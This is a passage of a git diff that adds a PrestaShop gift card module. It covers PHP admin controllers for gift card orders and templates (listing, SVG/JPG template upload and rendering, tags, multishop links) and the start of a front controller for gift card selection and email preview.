$this->l('Date'), + 'width' => 130, + 'align' => 'right', + 'type' => 'datetime', + 'filter_key' => 'a!date_add' + ) + ); + $this->identifier = 'id_gift_card_order'; + $this->context = Context::getContext(); + parent::__construct(); + } + public function postProcess() + { + $this->addCSS(array ( + '/modules/giftcard/css/giftcardorder.css' + )); + $this->addJS(array ( + '/modules/giftcard/js/giftcardorder.js' + )); + parent::postProcess(); + } + public function initProcess() + { + parent::initProcess(); + $access = Profile::getProfileAccess($this->context->employee->id_profile, (int)Tab::getIdFromClassName('AdminGiftCardOrder')); + if (Tools::getValue('submitAction')) + { + if ($access['view'] === '1' && ($action = Tools::getValue('submitAction'))) + $this->action = $action; + else + $this->errors[] = Tools::displayError('You do not have permission to view this.'); + } + } + public function ajaxProcessShowCustom() + { + if (($id = Tools::getValue('id_gift_card_order'))) + { + $giftcardorder = new GiftCardOrder($id); + $this->context->smarty->assign(array ( + 'giftcardorder' => $giftcardorder + )); + $html = ''; + $html = $this->context->smarty->fetch(parent::getTemplatePath().'gift_card_order/list/custom_field.tpl'); + die($html); + } + } + public function renderList() + { + $this->_select = 'pl.`name` as product_name,a.price,i.id_image, + CONCAT(LEFT(customer.`firstname`, 1), \'. \', customer.`lastname`) AS `customer`, + cr.quantity as voucher_qty,cr.active as voucher_active,ocr.id_order used_order'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = a.`id_product` and i.`cover` = 1) + LEFT JOIN `'._DB_PREFIX_.'currency` curr ON (curr.`id_currency` = a.`id_currency`) + INNER JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_order` = a.`id_order`) + LEFT JOIN `'._DB_PREFIX_.'customer` customer ON (customer.`id_customer` = o.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'cart_rule` cr on cr.id_cart_rule = a.id_cart_rule + LEFT JOIN `'._DB_PREFIX_.'order_cart_rule` ocr on ocr.id_cart_rule = cr.id_cart_rule + LEFT JOIN `'._DB_PREFIX_.'product` p ON a.id_product = p.id_product + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON a.id_product = pl.id_product AND pl.id_lang='.(int)$this->context->language->id; + + $this->_orderBy = 'id_gift_card_order'; + $this->_orderWay = 'DESC'; + $lists = parent::renderList(); + parent::initToolbar(); + $this->context->smarty->assign(array ( + 'ps_version' => _PS_VERSION_ + )); + $html = ''; + + $html .= $this->context->smarty->fetch(parent::getTemplatePath().'gift_card_order/list/list_header.tpl'); + $html .= $lists; + return ($html); + } + public function printLinkCode($value, $giftCardOrder) + { + if ($value && $value != '') + { + $linkCode = $this->context->link->getAdminLink('AdminCartRules').'&id_cart_rule='.$giftCardOrder['id_cart_rule'].'&updatecart_rule'; + $html = ''.$value.' '.$this->l('View').''; + return $html; + } + return (''); + } + public function printLinkOrder($value, $giftCardOrder) + { + $linkOrder = $this->context->link->getAdminLink('AdminOrders').'&id_order='.$giftCardOrder['id_order'].'&vieworder'; + $html = '#'.$value.' '.$this->l('View').''; + return $html; + } + public function printCustom($value, $giftCardOrder) + { + $html = ' + '.$this->l('View custom').''; + return ($html); + } + public function printStatus($value, $giftCardOrder) + { + if ($value == 'WAIT') + return (''.$this->l('Wait order accept').''); + elseif ($value == 'SEND ERROR') + return (''.$this->l('Send error').''); + elseif ($value == 'CANCEL') + return (''.$this->l('Canceled').''); + elseif ($value == 'CREATED') + { + if (isset($giftCardOrder['used_order']) && (int)$giftCardOrder['used_order'] > 0) + return (''.sprintf($this->l('Used in order #%s'), (int)$giftCardOrder['used_order']).' + '.$this->l('View').''); + else + return (''.$this->l('Not Used').''); + } + return (''); + } + public function printInfo($value, $giftCardOrder) + { + if (! empty($value) && trim($value) != '') + return ('
          '.$value.'
        '); + return (''); + } + public function printSended($value, $giftCardOrder) + { + if (isset($value) && trim($value) != '' && (int)$value == 1) + { + + $html = ''.$this->l('Email Sended').''; + return ($html); + } + return ''.$this->l('The email is send').''; + } + public function printImage($value, $giftCardTemplate) + { + $id = (int)$giftCardTemplate['id_gift_card_template']; + $template_path = _PS_ROOT_DIR_.'/modules/giftcard/img/templates/'.(int)$id.'/'; + $id_lang = (int)$this->context->language->id; + $template_file_path = $template_path.(int)$id.'.jpg'; + $template_file_lang_path = $template_path.(int)$id.'-'.$id_lang.'.jpg'; + if ((int)$giftCardTemplate['id_gift_card_template'] > 0 && file_exists($template_file_lang_path)) + { + $image = ImageManager::thumbnail($template_file_lang_path, 'giftcardtemplatemini_'.(int)$id.'-'.$id_lang.'.jpg', 100, 'jpg'); + return ($image); + } elseif ((int)$giftCardTemplate['id_gift_card_template'] > 0 && file_exists($template_file_path)) + { + $image = ImageManager::thumbnail($template_file_path, 'giftcardtemplatemini_'.(int)$id.'.jpg', 100, 'jpg'); + return ($image); + } + return (''); + } + public function processGeneratePdf() + { + if (Tools::isSubmit('id_gift_card_order')) + { + $giftCardOrder = new GiftCardOrder((int)Tools::getValue('id_gift_card_order')); + $giftCardOrder->generatePDF(true); + } else + die(Tools::displayError('The gift card order ID is missing.')); + } +} + diff --git a/modules/giftcard/controllers/admin/AdminGiftCardTemplateController.php b/modules/giftcard/controllers/admin/AdminGiftCardTemplateController.php new file mode 100755 index 0000000..6f0da6d --- /dev/null +++ b/modules/giftcard/controllers/admin/AdminGiftCardTemplateController.php @@ -0,0 +1,714 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ +class AdminGiftCardTemplateController extends ModuleAdminController { + /* public $asso_type = 'shop'; */ + public function __construct() + { + $this->bootstrap = true; + $this->table = 'giftcardtemplate'; + $this->className = 'GiftCardTemplate'; + $this->fields_list = array ( + 'id_gift_card_template' => array ( + 'title' => $this->l('ID'), + 'align' => 'left', + 'width' => 30 + ), + 'image' => array ( + 'title' => $this->l('Image'), + 'align' => 'left', + 'callback' => 'printImage', + 'width' => 170 + ), + 'issvg' => array ( + 'title' => $this->l('Vector'), + 'align' => 'center', + 'width' => 50, + 'callback' => 'printVector' + ), + 'tags' => array ( + 'title' => $this->l('Tag'), + 'align' => 'left', + 'callback' => 'printTags' + ), + 'template_name' => array ( + 'title' => $this->l('Name'), + 'align' => 'left' + ), + 'id_lang_display' => array ( + 'title' => $this->l('Language'), + 'align' => 'center', + 'callback' => 'printLangDisplay', + 'width' => 70 + ), + 'isdefault' => array ( + 'title' => $this->l('Default'), + 'align' => 'center', + 'width' => 70, + 'type' => 'bool', + 'callback' => 'printDefaultIcon', + 'orderby' => false + ), + 'active' => array ( + 'title' => $this->l('Status'), + 'width' => 70, + 'active' => 'status', + 'search' => false, + 'align' => 'center', + 'type' => 'bool', + 'orderby' => false + ) + ); + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + $this->fields_list['shopname'] = array( + 'title' => $this->l('Default shop'), + 'filter_key' => 'shop!name', + ); + $this->bulk_actions = array ( + 'delete' => array ( + 'text' => $this->l('Delete selected'), + 'confirm' => $this->l('Delete selected items?') + ), + 'enableSelection' => array ( + 'text' => $this->l('Enable selection') + ), + 'disableSelection' => array ( + 'text' => $this->l('Disable selection') + ) + ); + $this->identifier = 'id_gift_card_template'; + $this->context = Context::getContext(); + $this->imagick = false; + $this->_group = 'GROUP BY a.id_gift_card_template'; + if (extension_loaded('imagick')) + $this->imagick = true; + parent::__construct(); + } + public function postProcess() + { + if (! $this->redirect_after) + parent::postProcess(); + + if ($this->display == 'edit' || $this->display == 'add') + { + $this->addJqueryUI(array ( + 'ui.core', + 'ui.widget' + )); + $this->addjQueryPlugin(array ( + 'ajaxfileupload', + 'tagify', + 'colorpicker' + )); + if (version_compare(_PS_VERSION_, '1.6.0', '>=') === true) + $this->addCSS(array ( + _MODULE_DIR_.'giftcard/css/admingiftcardtemplatebootstrap.css' + )); + else + $this->addCSS(array ( + _MODULE_DIR_.'giftcard/css/admingiftcardtemplateps15.css' + )); + if (version_compare(_PS_VERSION_, '1.6.0', '>=') === true) + $this->addJS(array ( + _MODULE_DIR_.'giftcard/js/admingiftcardtemplatebootstrap.js' + )); + else + $this->addJS(array ( + _MODULE_DIR_.'giftcard/js/admingiftcardtemplateps15.js' + )); + } + } + public function initProcess() + { + if (Tools::getIsset('duplicate'.$this->table)) + { + if ($this->tabAccess['add'] === '1') + $this->action = 'duplicate'; + else + $this->errors[] = Tools::displayError('You do not have permission to add this.'); + } + + parent::initProcess(); + $access = Profile::getProfileAccess($this->context->employee->id_profile, (int)Tab::getIdFromClassName('AdminGiftCardTemplate')); + if ($access['view'] === '1' && ($action = Tools::getValue('submitAction'))) + $this->action = $action; + if (Tools::isSubmit('changeDefaultVal') && $this->id_object) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'change_default_val'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + } + public function processChangeDefaultVal() + { + $giftCardTemplate = new GiftCardTemplate($this->id_object); + if (! Validate::isLoadedObject($giftCardTemplate)) + $this->errors[] = Tools::displayError('An error occurred while updating rule information.'); + $valueDefault = $giftCardTemplate->isdefault ? 0 : 1; + if ((int)$valueDefault == 0) + $this->errors[] = Tools::displayError('Default is required'); + else if (! $giftCardTemplate->changeToDefault()) + $this->errors[] = Tools::displayError('An error occurred while updating information.'); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('duplicate'); + $this->addRowAction('delete'); + $this->_select = 'tl.`name` as template_name,tl.`name` as image,tl.`name` as tags'; + $this->_join = 'INNER JOIN `'._DB_PREFIX_.'giftcardtemplate_lang` tl ON a.id_gift_card_template = tl.id_gift_card_template AND tl.id_lang='.(int)$this->context->language->id; + + + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL) + { + $this->_join .= ' JOIN `'._DB_PREFIX_.'giftcardtemplate_shop` gcts ON (a.`id_gift_card_template` = gcts.`id_gift_card_template`)'; + if(Shop::isFeatureActive() && Shop::getContext() == Shop::CONTEXT_SHOP) + $this->_join .= 'LEFT JOIN `'._DB_PREFIX_.'shop` shop ON (shop.`id_shop` = gcts.`id_shop`) '; + $this->_where .= ' AND gcts.'.$this->identifier.' IN ( + SELECT sa.'.$this->identifier.' + FROM `'._DB_PREFIX_.$this->table.'_shop` sa + WHERE sa.id_shop IN ('.implode(', ', Shop::getContextListShopID()).') + )'; + } + $lists = parent::renderList(); + parent::initToolbar(); + $html = ''; + $html .= $lists; + return ($html); + } + public function processDelete() + { + $giftCardTemplate = new GiftCardTemplate($this->id_object); + if ($giftCardTemplate->isdefault) + $this->errors[] = Tools::displayError('It is a default template, you cannot delete this.'); + else + parent::processDelete(); + } + public function processAdd() + { + $languages = Language::getLanguages(false); + $this->checkTemplate($languages); + if (! empty($this->errors)) + { + $this->display = 'add'; + return false; + } + $this->object = new $this->className(); + $this->copyFromPost($this->object, $this->table); + if ($this->object->add()) + { + $this->updateAssoShop($this->object->id); + Logger::addLog(sprintf($this->l('%s edition', 'AdminTab', false, false), $this->className), 1, null, $this->className, (int)$this->object->id, true, (int)$this->context->employee->id); + if (empty($this->errors)) + { + if (! $this->updateTags($languages, $this->object)) + $this->errors[] = Tools::displayError('An error occurred while adding tags.'); + else + { + if ($this->postImage('auto')) + { + } + if (file_exists($this->object->img_dir.$this->object->id.'/'.$this->object->id.'.svg')) + $this->object->issvg = true; + else + $this->object->issvg = false; + $this->object->update(); + /* All good */ + if (empty($this->errors)) + { + // Save and preview + if (Tools::isSubmit('submitAddGiftCardTemplateAndPreview')) + $this->redirect_after = $this->getPreviewUrl($this->object); + + // Save and stay on same form + if ($this->display == 'edit') + $this->redirect_after = self::$currentIndex.'&id_gift_card_template='.(int)$this->object->id.'&updategiftcardtemplate&conf=3&key_tab='.Tools::safeOutput(Tools::getValue('key_tab')).'&token='.$this->token; + else + // Default behavior (save and back) + $this->redirect_after = self::$currentIndex.'&conf=3&token='.$this->token; + } + } + if ($this->object->isdefault) + $this->object->generateProductImage(); + } else + $this->object->delete(); + // if errors : stay on edit page + $this->display = 'edit'; + } else + $this->errors[] = Tools::displayError('An error occurred while creating an object.').' '.$this->table.''; + return $this->object; + } + public function processUpdate() + { + $languages = Language::getLanguages(false); + $this->checkTemplate($languages); + if (! empty($this->errors)) + { + $this->display = 'edit'; + return false; + } + $id = (int)Tools::getValue('id_gift_card_template'); + /* Update an existing product */ + if (isset($id) && ! empty($id)) + { + $object = new $this->className((int)$id); + $this->object = $object; + + if (Validate::isLoadedObject($object)) + { + $this->copyFromPost($object, $this->table); + if ($object->update()) + { + $this->updateAssoShop($this->object->id); + Logger::addLog(sprintf($this->l('%s edition', 'AdminTab', false, false), $this->className), 1, null, $this->className, (int)$this->object->id, true, (int)$this->context->employee->id); + if (empty($this->errors)) + { + if (! $this->updateTags($languages, $this->object)) + $this->errors[] = Tools::displayError('An error occurred while adding tags.'); + else + { + if ($this->postImage('auto')) + { + } + + if (file_exists($object->img_dir.$object->id.'/'.$object->id.'.svg')) + $object->issvg = true; + else + $object->issvg = false; + $object->update(); + /* All good */ + if (empty($this->errors)) + { + // Save and preview + if (Tools::isSubmit('submitAddGiftCardTemplateAndPreview')) + $this->redirect_after = $this->getPreviewUrl($this->object); + + // Save and stay on same form + if ($this->display == 'edit') + $this->redirect_after = self::$currentIndex.'&id_gift_card_template='.(int)$this->object->id.'&updategiftcardtemplate&conf=3¤tFormTab='.Tools::getValue('currentFormTab', 'informations').'&key_tab='.Tools::safeOutput(Tools::getValue('key_tab')).'&token='.$this->token; + else + // Default behavior (save and back) + $this->redirect_after = self::$currentIndex.'&conf=3&token='.$this->token; + } + } + // Save and preview + if ($this->object->isdefault) + $this->object->generateProductImage(); + } // if errors : stay on edit page + else + $this->display = 'edit'; + } + } else + $this->errors[] = Tools::displayError('An error occurred while updating an object.').' '.$this->table.' ('.Tools::displayError('The object cannot be loaded. ').')'; + return $object; + } + } + public function checkTemplate($languages) + { + foreach ($languages as $language) + if ($value = Tools::getValue('tags_'.$language['id_lang'])) + if (! Validate::isTagsList($value)) + $this->errors[] = sprintf(Tools::displayError('The tags list (%s) is invalid.'), $language['name']); + } + public function updateTags($languages, $giftcardtemplate) + { + $tag_success = true; + /* Reset all tags for THIS product */ + if (! GiftCardTag::deleteTagsForTemplate((int)$giftcardtemplate->id)) + $this->errors[] = Tools::displayError('An error occurred while attempting to delete previous tags.'); + /* Assign tags to this product */ + foreach ($languages as $language) + if ($value = Tools::getValue('tags_'.$language['id_lang'])) + $tag_success &= GiftCardTag::addTags($language['id_lang'], (int)$giftcardtemplate->id, $value); + if (! $tag_success) + $this->errors[] = Tools::displayError('An error occurred while adding tags.'); + return $tag_success; + } + public function renderForm() + { + if (! ($obj = $this->loadObject(true))) + return; + $this->toolbar_btn['save-and-stay'] = array ( + 'href' => '#', + 'desc' => $this->l('Save and Stay') + ); + $current_object = $this->loadObject(true); + $languages = Language::getLanguages(); + $availablevars = array (); + $haveCustomText = false; + $haveCustomColor = false; + $image_template = null; + if ($current_object->id) + { + $obj->tags = GiftCardTag::getTemplateTags($current_object->id); + if ($obj->issvg) + { + $availablevars = GiftCardTools::getAvailableVars($this->object); + foreach ($availablevars as $key => $value) + { + if (strstr($key, 'var_text')) + $haveCustomText = true; + if (strstr($key, 'var_color')) + $haveCustomColor = true; + } + } + $template_path = $this->object->img_dir.$this->object->id.'/'; + if ($obj->issvg) + $template_file_path = $template_path.$this->object->id.'-'.$this->context->language->id.'.jpg'; + else + $template_file_path = $template_path.$this->object->id.'.jpg'; + $image = ImageManager::thumbnail($template_file_path, 'giftcardtemplate_'.(int)$this->object->id.'.jpg', 350, 'jpg'); + $this->fields_value = array (); + $image_template = array ( + 'image' => $image ? $image : false, + 'size' => $image ? filesize($template_file_path) / 1000 : false + ); + } + $imagick = false; + if (extension_loaded('imagick')) + $imagick = true; + + $this->fields_form['submit'] = array ( + 'title' => $this->l('Save'), + 'class' => 'button' + ); + if (Shop::isFeatureActive() && count(Shop::getShops(true, null, true)) > 1) + { + $helper = new HelperForm(); + $helper->id = Tools::getValue($this->identifier, null); + $helper->table =$this->table; + $helper->identifier = $this->identifier; + $this->context->smarty->assign('asso_shops', $helper->renderAssoShop()); + } + $this->context->smarty->assign(array ( + 'image_template' => $image_template, + 'haveCustomText' => $haveCustomText, + 'haveCustomColor' => $haveCustomColor, + 'show_toolbar' => true, + 'availablevars' => $availablevars, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'title' => array ( + $this->l('Gift Card template') + ), + 'id_lang_default' => (int)Configuration::get('PS_LANG_DEFAULT'), + 'languages' => $languages, + 'currentIndex' => self::$currentIndex, + 'currentToken' => $this->token, + 'currentObject' => $current_object, + 'currentTab' => $this, + 'toolbar_btn' => $this->toolbar_btn, + 'toolbar_scroll' => $this->toolbar_scroll, + 'giftcard_img_dir' => _MODULE_DIR_.'giftcard/img/', + 'ps_version' => _PS_VERSION_, + 'imagick' => $imagick + )); + return parent::renderForm(); + } + public function postImage($method = 'auto') + { + if (! $this->object->id) + return false; + /* if no upload */ + if (! isset($_FILES['image_template']['tmp_name']) || empty($_FILES['image_template']['tmp_name'])) + { + // default rebuild with customise field + if ($this->object->issvg && file_exists($this->object->img_dir.$this->object->id.'/'.$this->object->id.'.svg')) + $this->templateBuildImages(); + return false; + } + if (isset($_FILES['error'])) + { + $this->errors[] = sprintf(Tools::displayError('Error while uploading image; please change your server\'s settings. (Error code: %s)'), $_FILES['error']); + return false; + } + if (self::isExt($_FILES['image_template']['name'], array ( + 'svg' + )) && ! $this->imagick) + { + $this->errors[] = Tools::displayError('PHP extension Imagick is required for the svg format'); + return false; + } + + if (! $this->object->createImgFolder() || (self::isExt($_FILES['image_template']['name'], array ( + 'svg' + )) && ! move_uploaded_file($_FILES['image_template']['tmp_name'], $this->object->img_dir.$this->object->id.'/'.$this->object->id.'.svg'))) + { + $this->errors[] = Tools::displayError('An error occurred during the image upload process.'); + return false; + } else if (self::isExt($_FILES['image_template']['name'], array ( + 'svg' + ))) + $this->templateBuildImages(true); + else + { + $template_path = $this->object->img_dir.$this->object->id.'/'; + if (file_exists($this->object->img_dir.$this->object->id.'/'.$this->object->id.'.svg')) + @unlink($this->object->img_dir.$this->object->id.'/'.$this->object->id.'.svg'); + if ($error = ImageManager::validateUpload($_FILES['image_template'])) + $this->errors[] = $error; + else + { + if (! ($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || ! move_uploaded_file($_FILES['image_template']['tmp_name'], $tmpName)) + $this->errors[] = Tools::displayError('An error occurred during the image upload process.'); + elseif (! ImageManager::resize($tmpName, $template_path.$this->object->id.'.jpg')) + $this->errors[] = Tools::displayError('An error occurred while copying the image.'); + elseif ($method == 'auto') + { + $imagesTypes = GiftCardTemplate::getImagesTypes(); + foreach ($imagesTypes as $k => $image_type) + { + if (! ImageManager::resize($tmpName, $template_path.$this->object->id.'-'.Tools::stripslashes($image_type['name']).'.jpg', $image_type['width'], $image_type['height'], 'jpg')) + $this->errors[] = Tools::displayError('An error occurred while copying image:').' '.Tools::stripslashes($image_type['name']); + } + } + @unlink($tmpName); + $this->object->unlinkTmpImg(); + } + } + return true; + } + public function templateBuildImages($firstbuild = false) + { + $template_path = $this->object->img_dir.$this->object->id.'/'; + $template_file_path = $template_path.$this->object->id.'.svg'; + if (! file_exists($template_file_path)) + $this->errors[] = Tools::displayError('The file template does not exist, file name :'.$template_file_path); + else + { + if ($firstbuild) + { + $availableVars = GiftCardTools::getAvailableVars($this->object); + $this->object->initCustomVar(); + $this->object->updateCustomVar($availableVars); + // init personnalize var + $this->object->update(); + } + $svg = array (); + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $svg[(int)$language['id_lang']] = ''.GiftCardTools::buildTemplateSvgV2($this->object, array (), (int)$language['id_lang']); + if (! $svg[(int)$language['id_lang']]) + { + $this->errors[] = Tools::displayError('Error building svg :'.$template_file_path); + return; + } + } + // $imagesTypes = ImageType::getImagesTypes('products'); + $imagesTypes = GiftCardTemplate::getImagesTypes(); + $imageTypeAdmin = array (); + $imageTypeAdmin['name'] = ''; + $imageTypeAdmin['width'] = 1600; + $imageTypeAdmin['height'] = 1052; + $imagesTypes[] = $imageTypeAdmin; + + foreach ($imagesTypes as $k => $image_type) + { + foreach ($languages as $language) + { + if (! GiftCardTools::resizeImageWithTemplate($svg[(int)$language['id_lang']], $template_path.$this->object->id.(! empty($image_type['name']) ? '-'.Tools::stripslashes($image_type['name']) : '').'-'.$language['id_lang'].'.jpg', 0, $image_type['width'], $image_type['height'], 'jpg')) + $this->errors[] = Tools::displayError('An error occurred while copying image:').' '.Tools::stripslashes($image_type['name']); + } + } + $this->object->unlinkTmpImg($languages); + } + } + public static function isExt($filename, $exts) + { + $authorized_extensions = $exts; + $name_explode = explode('.', $filename); + if (count($name_explode) >= 2) + { + $current_extension = Tools::strtolower($name_explode[count($name_explode) - 1]); + if (! in_array($current_extension, $authorized_extensions)) + return false; + } else + return false; + return true; + } + public function processGenerateImg() + { + $this->object = new $this->className(); + $this->copyFromGet($this->object, $this->table); + + if (isset($this->object->id_gift_card_template) && (int)$this->object->id_gift_card_template > 0) + $this->object->id = (int)$this->object->id_gift_card_template; + else + return false; + $svg = GiftCardTools::buildTemplateSvgV2($this->object, array (), (int)Tools::getValue('id_lang_preview', 0)); + $im = new Imagick(); + $im->setResolution(200, 200); + $im->readImageBlob($svg); + $im->setImageFormat('png32'); + header('Content-type: image/png'); + echo $im; + } + public function printTags($value, $giftCardTemplate) + { + $tagshtml = ''; + if ((int)$giftCardTemplate['id_gift_card_template'] > 0) + { + + $tags = GiftCardTag::getTemplateTags((int)$giftCardTemplate['id_gift_card_template']); + if ($tags && count($tags) > 0) + { + foreach ($tags as $tagL) + { + foreach ($tagL as $tag) + { + $tagshtml .= ''; + $tagshtml .= $tag; + $tagshtml .= ''; + } + } + } + } + return ($tagshtml); + } + public function printImage($value, $giftCardTemplate) + { + $id = (int)$giftCardTemplate['id_gift_card_template']; + + $template_path = _PS_ROOT_DIR_.'/modules/giftcard/img/templates/'.(int)$id.'/'; + if ((int)$giftCardTemplate['issvg']) + { + $id_lang = (int)$this->context->language->id; + $template_file_path = $template_path.(int)$id.'-'.$id_lang.'.jpg'; + } else + $template_file_path = $template_path.(int)$id.'.jpg'; + if ((int)$giftCardTemplate['id_gift_card_template'] > 0 && file_exists($template_file_path)) + { + if ((int)$giftCardTemplate['issvg']) + $image = ImageManager::thumbnail($template_file_path, 'giftcardtemplatemini_'.(int)$id.'-'.$id_lang.'.jpg', 100, 'jpg'); + else + $image = ImageManager::thumbnail($template_file_path, 'giftcardtemplatemini_'.(int)$id.'.jpg', 100, 'jpg'); + return ($image); + } + return (''); + } + public function processDuplicate() + { + $giftcardtemplate = GiftCardTemplate::duplicate((int)Tools::getValue('id_gift_card_template')); + if (! $giftcardtemplate) + $this->errors[] = $this->l('An error occurred while creating an object.'); + } + public function printVector($value, $giftCardTemplate) + { + if (version_compare(_PS_VERSION_, '1.6.0', '>=')) + { + if ((int)$value > 0) + return (''.$this->l('Yes').''); + return (''.$this->l('No').''); + } else + { + if ((int)$value > 0) + return (''.$this->l('Yes').''); + return (''.$this->l('No').''); + } + } + public function printLangDisplay($value, $giftCardTemplate) + { + if (version_compare(_PS_VERSION_, '1.6.0', '>=')) + { + if ((int)$value > 0) + { + $language = new Language((int)$value); + return (''.$language->iso_code.''); + } + return (''.$this->l('ALL').''); + } else + { + if ((int)$value > 0) + { + $language = new Language((int)$value); + return (''.$language->iso_code.''); + } + return (''.$this->l('ALL').''); + } + } + public function printDefaultIcon($value, $giftCardTemplate) + { + return ' + '.((int)$value ? ''.$this->l('Default').'' : ''.$this->l('Not Default').'').''; + } + private function copyFromGet(&$object, $table) + { + /* Classical fields */ + foreach ($_GET as $key => $value) + if (key_exists($key, $object) && $key != 'id_'.$table) + $object->{$key} = $value; + + /* Multilingual fields */ + $rules = call_user_func(array ( + get_class($object), + 'getValidationRules' + ), get_class($object)); + if (count($rules['validateLang'])) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + foreach (array_keys($rules['validateLang']) as $field) + if (Tools::getIsset($field.'_'.(int)$language['id_lang'])) + $object->{$field}[(int)$language['id_lang']] = Tools::getValue($field.'_'.(int)$language['id_lang']); + } + } + protected function updateAssoShop($id_object) + { + if (!Shop::isFeatureActive()) + return; + + + $assos_data = $this->getSelectedAssoShop($this->table, $id_object); + + // Get list of shop id we want to exclude from asso deletion + $exclude_ids = $assos_data; + foreach (Db::getInstance()->executeS('SELECT id_shop FROM '._DB_PREFIX_.'shop') as $row) + if (!$this->context->employee->hasAuthOnShop($row['id_shop'])) + $exclude_ids[] = $row['id_shop']; + Db::getInstance()->delete($this->table.'_shop', '`'.$this->identifier.'` = '.(int)$id_object.($exclude_ids ? ' AND id_shop NOT IN ('.implode(', ', $exclude_ids).')' : '')); + + $insert = array(); + foreach ($assos_data as $id_shop) + $insert[] = array( + $this->identifier => $id_object, + 'id_shop' => (int)$id_shop, + ); + return Db::getInstance()->insert($this->table.'_shop', $insert, false, true, Db::INSERT_IGNORE); + } + protected function getSelectedAssoShop($table) + { + if (!Shop::isFeatureActive()) + return array(); + + $shops = Shop::getShops(true, null, true); + if (count($shops) == 1 && isset($shops[0])) + return array($shops[0], 'shop'); + + $assos = array(); + if (Tools::isSubmit('checkBoxShopAsso_'.$table)) + foreach (Tools::getValue('checkBoxShopAsso_'.$table) as $id_shop => $value) + $assos[] = (int)$id_shop; + else if (Shop::getTotalShops(false) == 1)// if we do not have the checkBox multishop, we can have an admin with only one shop and being in multishop + $assos[] = (int)Shop::getContextShopID(); + return $assos; + } +} + diff --git a/modules/giftcard/controllers/admin/index.php b/modules/giftcard/controllers/admin/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/controllers/admin/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/controllers/front/choicegiftcard.php b/modules/giftcard/controllers/front/choicegiftcard.php new file mode 100755 index 0000000..0522c51 --- /dev/null +++ b/modules/giftcard/controllers/front/choicegiftcard.php @@ -0,0 +1,399 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class GiftCardChoiceGiftCardModuleFrontController extends ModuleFrontController { + public $ssl = false; + + public function __construct() + { + parent::__construct (); + $this->context = Context::getContext (); + } + + /** + * + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent (); + $this->assign (); + } + public function setMedia() + { + parent::setMedia (); + if (count ( $this->errors )) + return; + $this->addCSS ( array ( + _PS_CSS_DIR_.'jquery.fancybox-1.3.4.css' => 'screen', + _MODULE_DIR_.'giftcard/css/choicegiftcard.css' => 'screen' + ) ); + $this->addJqueryPlugin ( array ( + 'fancybox', + 'scrollTo', + 'serialScroll' + ) ); + $this->addJS ( array ( + _THEME_JS_DIR_.'tools.js', + _MODULE_DIR_.'giftcard/js/jquery.jcarousel.min.js', + _MODULE_DIR_.'giftcard/js/choicegiftcard.js' + ) ); + + if (Configuration::get ( 'PS_DISPLAY_JQZOOM' ) == 1) + $this->addJqueryPlugin ( 'jqzoom' ); + } + + /* Use to preview image in email */ + private function data_uri($file, $mime) + { + $contents = Tools::file_get_contents ( $file ); + $base64 = base64_encode ( $contents ); + return ('data:'.$mime.';base64,'.$base64); + } + public function postProcess() + { + + $module = new Giftcard(); + + /* PREVIEW EMAIL */ + if (trim ( Tools::getValue ( 'action' ) ) == 'preview') + { + if (Tools::getToken () != Tools::getValue ( 'token' )) + { + if ((int) $this->context->cookie->id_lang == 1) + die ( $module->l('Token invalid')); + else + die ( $module->l('Invalid token')); + + } + /*$id_lang_mail = (int)GiftCardTools::getLangMail ( $this->context->language->id ); + if (! $id_lang_mail) + die ( $module->l ( 'No possible to preview' ) );*/ + + // $languageMail = new Language($id_lang_mail); + $template_id = (int)Tools::getValue ( 'id_gift_card_template', 0 ); + $id_shop = $this->context->shop->id; + $giftCardTemplate = null; + if (! $template_id) + $giftCardTemplate = GiftCardTemplate::getDefault (); + else + $giftCardTemplate = new GiftCardTemplate ( $template_id ); + $output = ''; + if (! $giftCardTemplate) + { + + if ((int) $this->context->cookie->id_lang == 1) + $output .= $this->displayError ( $module->l ( 'Le template par défault des cartes cadeaux est requis pour l\'aperçu PDF' ) ); + else + $output .= $this->displayError ( $module->l ( 'Default gift card template is required to preview PDF' ) ); + + } + else + { + if (Tools::getValue ( 'id_product' )) + $card = new GiftCardProduct ( (int)Tools::getValue ( 'id_product' ) ); + else + $card = GiftCardProduct::getDefault (); + $params = array (); + $params['id_shop'] = (int)$id_shop; + $params['id_currency'] = $this->context->currency->id; + $params['discountcode'] = '##################'; + $params['price'] = round ( $card->price ); + $params['date_to'] = Tools::displayDate ( date ( 'Y-m-d', strtotime ( date ( 'Y-m-d', time () ).' + 